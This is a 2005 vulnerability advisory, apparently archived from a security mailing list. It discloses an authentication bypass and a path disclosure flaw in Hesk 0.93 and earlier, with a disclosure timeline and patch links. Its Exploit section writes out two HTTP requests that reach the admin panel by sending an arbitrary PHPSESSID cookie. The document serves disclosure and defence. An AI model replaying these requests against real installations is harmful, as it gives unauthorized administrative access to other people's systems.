OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Hesk Session ID Validation Vulnerability

os2a.btogmail.com
Date: Mon Sep 19 2005 - 23:50:16 CDT


OS2A

Hesk Session ID Validation Vulnerability

OS2A ID: OS2A_1003 Status
                                                9/13/2005 Issue Discovered
                                                9/14/2005 Reported to the vendor
                                                9/18/2005 Patch Released
                                                9/20/2005 Advisory Released
                                                        

Class: Authentication Bypass Severity: CRITICAL

Overview:
Hesk is a PHP based help desk software that runs with a MySQL database.
It allows to setup a ticket based support system (helpdesk) for websites.
Hesk versions 0.93 and prior are vulnerable to authentication bypass and path
disclosure vulnerabilities caused due to improper validation of the HTTP
header. This vulnerability can be exploited to bypass authentication
mechanism, and also made to reveal system specific information.
 

Description:
Multiple vulnerabilities exist in Hesk ticket based support system.

1. Authentication Bypass
   The 'PHPSESSID', Session ID parameter in the HTTP header is not properly
   validated. A malicious user can log in to the Administrator account by
   sending a random value to 'PHPSESSID' parameter and posting it to
   admin.php. This Session ID can then be utilized to access administrative
   control panel.
 
   This is similar to a previously reported vulnerability where invalid
   User ID and Password were submitted. In this case, a randomly chosen
   Session ID is sent along with the login request.
   
2. Path Disclosure.
   Path information can be made to disclose in error pages by passing invalid
   metacharacters such as "'" or "<" to 'PHPSESSID' field of the HTTP header.
   

Impact:
Successful exploitation can result in a compromise of the application,
disclosure of system specific information.

Affected Systems:
Hesk 0.93 and prior.
Linux (Any), Unix (Any), Windows (Any)

Exploit:
1. HTTP POST request with randomly chosen Session ID:
POST admin.php +
("Host: host_ip
  User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
  Accept: text/xml,application/xml,application/xhtml+xml,text/html
  Accept-Language: en-us,en;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Referer: http://host_ip/hesk/admin.php
  Cookie: PHPSESSID=12345 <!-- Random Session ID --!>
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 26
  user=1&pass=sdfd&a=do_login");
 
2. GET request to administrative control panel:
GET admin_main.php +
("Host: host_ip
  User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
  Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain
  Accept-Language: en-us,en;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Cookie: PHPSESSID=12345") <!-- Session ID --!>

Solutions:
        Patch:
        http://www.phpjunkyard.com/extras/hesk_0931_patch.zip
        OR Hesk 0.93.1 from
        http://www.phpjunkyard.com/free-helpdesk-software.php

Credits:
Rajesh Sethumadhavan, Rahul Mohandas, and Jayesh K.S of OS2A have discovered
the vulnerability